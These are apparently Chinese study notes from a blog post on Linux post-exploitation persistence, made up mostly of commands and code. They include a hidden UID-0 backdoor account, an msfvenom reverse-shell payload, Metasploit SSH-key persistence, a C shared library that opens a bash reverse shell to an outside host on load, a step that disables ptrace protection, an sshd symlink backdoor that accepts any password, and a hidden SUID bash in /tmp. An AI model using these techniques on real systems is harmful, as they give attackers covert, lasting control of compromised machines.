• 13.linux权限维持


    0x01.linux权限维持的基本思路

    权限维持的前提:有shell 是root权限

    1.linux操作系统的基本特点

    a.长时间运行并带有服务

    b.文件结构简单

    c.用户权限清晰

    2.基本知识面

    账户 : 账户的使用、创建和链接(以ssh为主)

    操作系统 : 基于linux的系统特性来思考linux系统本身可以利用的权限维持技巧

    系统应用 : 从linux操作系统中的各种通用性较广的应用思考权限维持

    3.如何快速学习linux权限维持的新技巧

    从触发转变为持续

    a.思考的重点重基于事件触发变为持续

    b.利用的点从操作系统本身转到应用

    c."权限"从"控制的权限“到"提权的权限

    0x02.基于账号的linux后门

    1.添加linux用户

    普通方式
    useradd 用户名
    passwd 用户名
    输入密码
    
    不普通的方式 (直接修改密码相关的两个文件)
    添加一个具有root权限的普通用户
    
    修改/etc/passwd(密码引导文件)和/etc/shadow(密码真正的文件)
    passwd
    test:x:0:0::/:/bin/bash
    
    shadow (密码:123456)
    test:密码密文:13407:0:99999:7:::
    
    先复制到tmp目录下,修改好在覆盖源文件,注意这里的密码密文不同操作系统是不一样的,所以手动要先生成
    
    一句话添加
    useradd -p 0`openssl passwd -1 -salt 'abc' 123456` -u 0  -o -g root -G root -s /bin/bash -d /usr/bin/chiyu chiyu
    
    useradd 添加用户
    useradd -p 0`openssl passwd -1 -salt 'abc' cqrdpass` abc是盐值,可以随便填写,cqrdpass是设置的密码
    -u 0 -o 添加一个uid为 0的用户 就相对于root级别的了
    -g root -G root 将用户添加到root组
    -s /bin/bash 指定新建用户的shell路径
    -d /usr/bin/cqrd 新建用户的主目录,可以自己定义
    cqrd 新建的用户的用户名
    
    测试不能用ssh登录,不知道原因
    

    2.如何连接linux用户

    ssh基本使用:

    usage: ssh [-46AaCfGgKkMNnqsTtVvXxYy] [-B bind_interface]
               [-b bind_address] [-c cipher_spec] [-D [bind_address:]port]
               [-E log_file] [-e escape_char] [-F configfile] [-I pkcs11]
               [-i identity_file] [-J [user@]host[:port]] [-L address]
               [-l login_name] [-m mac_spec] [-O ctl_cmd] [-o option] [-p port]
               [-Q query_option] [-R address] [-S ctl_path] [-W host:port]
               [-w local_tun[:remote_tun]] destination [command]
    

    [-i identity_file] [-J [user@]host[:port]]这部分的需要记住,很常用。

    3.基本的密钥体系概念(以ssh举例)

    对称与非对称密钥体系

    同一个密钥既可以加密又可以解密就是对称的密钥体系,密文或明文的确定正确由这个密钥决定

    有专门的密钥来负责加密,有专门的密钥负责解密就是非对称的密钥体系,密文的的确定正确由负责加

    密的密钥确定(公钥),明文的确定正确由负责解密的密钥确定(私钥),二者的统一确定由加密的密

    钥统一决定

    对称密钥举例:

    密文:2个2
    
    明文:4
    
    密钥:加号
    
    加密过程:4=2+2
    
    解密过程:2+2=4
    

    非对称密钥举例:

    密文:2
    
    公钥:两个2
    
    私钥一:加号
    
    私钥二:乘号
    
    明文:4
    
    加密过程:4由两个2组成
    
    解密过程一:4=2+2
    
    解密过程二:4=2*2
    

    ssh认证过程

    SSH登录主要分为两个阶段:

    1)协商客户端和服务端双方通信所使用的共享密钥,并用这个共享密钥实现后续会话过程的对称加密

    2)使用非对称加密方式验证客户端的身份。

    两种登陆方式:

    1.密码:

    1)服务端收到客户端的请求后,把自己的公钥发送给客户端(与会话密钥不同,是服务器自身的公钥/

    私钥对);

    2)客户端使用收到的公钥加密密码,并发送回服务器;

    3)服务器使用自己私钥解密信息,若密码正确,则通过验证。

    2.密钥:

    前提条件是手动将客户端的公钥发送给服务器,并填入authorized_keys文件中。

    1)客户端把用户验证的密钥对ID发送给服务器;

    2)服务器根据密钥对ID在对应用户的authorized_keys文件中进行检索;

    3)假设服务器在文件中找到符合密钥对ID的公钥,服务器将生成一个随机数,并用这个公钥进行加密;

    4)服务器将加密后的信息发送给客户端;

    5)假设客户端拥有对应的私钥,就可以解密出原来的随机数;

    6)客户端将得到的随机数与加密会话所用的会话密钥拼接一起后,计算其MD5哈希值;

    7)客户端将MD5哈希值发送回服务器;

    8)服务器使用相同的会话共享密钥和他生成的随机数计算出MD5哈希值,并与客户端返回的MD5哈希

    值进行比较。如果两个值相等,证明客户端拥有对应私钥,则通过验证。

    678步可以仅做了解

    4.如何使用ssh做权限维持(必做作业)

    下载服务器私钥链接,攻击者使用私钥链接

    ssh -i 私钥文件 用户@ip
    

    写公钥到被控端~/.ssh/authorized_keys文件

    ssh 用户@ip
    

    补充:

    msf中有一个关于上面两个的自动化模块
    post/linux/manage/sshkey_persistence
    设置session
    run
    就会拿到私钥,以及添加公钥到靶机的~/.ssh/authorized_keys
    

    实战实验:

    1.生成linuxpayload

    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.114 LPORT=4444 -f elf -o /root/linuxpayload
    

    2.通过http服务,靶机下载payload

    python:   
    python3 -m http.server
    
    php:
    php -S 192.168.0.114:80
    

    3.msf设置监听

    set payload linux/x86/meterpreter/reverse_tcp
    

    4.靶机运行payload

    5.上线会话放到后台

    6.使用post模块、

    use post/linux/manage/sshkey_persistence
    set session 2
    run
    

    image-20210724101739774

    7.使用下载的私钥链接

    降低私钥权限
    chmod 600 /root/.msf4/loot/20210724101627_default_192.168.0.113_id_rsa_934346.txt                   
                                                                                                                                            
    ssh -i /root/.msf4/loot/20210724101627_default_192.168.0.113_id_rsa_934346.txt root@192.168.0.113
    

    image-20210724102049204

    8.写公钥到被控机

    生成本地公钥
    ssh-keygen   (一路回车,然后会生成下面两个文件)
    

    image-20210724102645427

    把id_rsa.pub写到被控机的~/.ssh/authorized_keys中

    cd /root/.ssh
    upload /root/.ssh/id_rsa.pub .
    mv id_rsa.pub authorized_keys
    

    直接链接

    image-20210724103458468

    0x03.基于linux特性的权限维持

    1.进程注入

    老师说进程迁移也是一种进程注入就是用一个dll文件调另一个dll文件

    gaffe23/linux-inject
    
    https://github.com/gaffe23/linux-inject
    

    下载后需要make一下

    image-20210724104626775

    inject         sample-library.so       sample-target
    注入工具      要注入的文件	     默认演示的进程 (持续运行)
    

    实验演示

    1.开启演示进程
    ./sample-target
    
    2.查看正在运行的进程
    ps -a
    
    3.注入进程
    ./inject -p PID sample-library.so 
    

    image-20210724105318022

    关闭系统的一个进程管理工具 , 这个工具作用:不允许莫名其妙的东西运行在你的进程上

    echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope
    

    代码 文件名:socket.so

    #include <stdio.h>
    #include <unistd.h>
    #include <dlfcn.h>
    #include <stdlib.h>
    
    void shell()
    {
        system( "bash -c 'bash -i >& /dev/tcp/192.168.0.113/4444 0>&1'");
    }
    
    __attribute__((constructor))
    void loadMsg()
    {
        shell();
    }
    

    编译

    clang -std=gnu99 -ggdb -D_GNU_SOURCE -shared -o socket.so -lpthread -fPIC socket.c
    

    使用

    ./sample-target
    ./inject -p pid socket.so
    
    实战可以注入到apache进程中
    

    演示 : 被控机器---》 kali

    image-20210724111043522

    echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope
    

    image-20210724111204277

    拿到shell

    image-20210724111242916

    3.PAM(ssh软连接)

    寻找支持pam的程序

    cd /etc/pam.d
    

    image-20210724111953716

    找到支持的程序具体在什么位置

    whereis su
    

    image-20210724112055045

    软连接

    ln –sf /usr/sbin/sshd /bin/su;/bin/su –oPort=4444
    
    相当于攻击者用ssh链接被控机器的444端口,但是被控机这边只是调用了一个su而已,不涉及敏感操作,不会拦截,然后pam中会有所有的ssh认证过程,然后攻击者就连上了
    

    image-20210724112919453

    ssh链接 , 输入任意密码即可

    ssh 192.168.0.113 -p 4444 
    

    image-20210724113015425

    4.suid的权限维持(提权通道维持)

    1.找到bash文件

    whereis bash
    

    2.复制到普通用户环境能接触的文件夹

    cp /bin/bash /tmp/.bash
    

    3.设置权限

    chmod 4755 /tmp/.bash    #设置suid 4代表suid
    

    4.使用

    普通用户登录
    /tmp/.bash -p
    

    image-20210724113446493

    0x04.基于linux系统应用的权限维持

    1.rookit

    缺点:动静特别大,很容易被发现,安装也不简单

    优点:如果成功,对方只能恢复快照,无其他方法

    github: linux rootkit

  • 相关阅读:
    一个奇怪的SystemClock_Config问题解决方法
    Keil5下载STM32库
    Entry point (0x08000000) points to a Thumb instruction but is not a valid Thumb code pointer.
    Error: failed to execute 'C:KeilARMARMCC'的解决办法
    C#委托的介绍(delegate、Action、Func、predicate)
    CopyFromScreen在屏幕缩放情况下需要做处理
    C# CEF 封装UserControl
    一个单js文件也可以运行vue
    vue自学入门-3(vue第一个例子)
    vue自学入门-1(Windows下搭建vue环境)
  • 原文地址:https://www.cnblogs.com/xcymn/p/15721481.html
Copyright © 2020-2023  润新知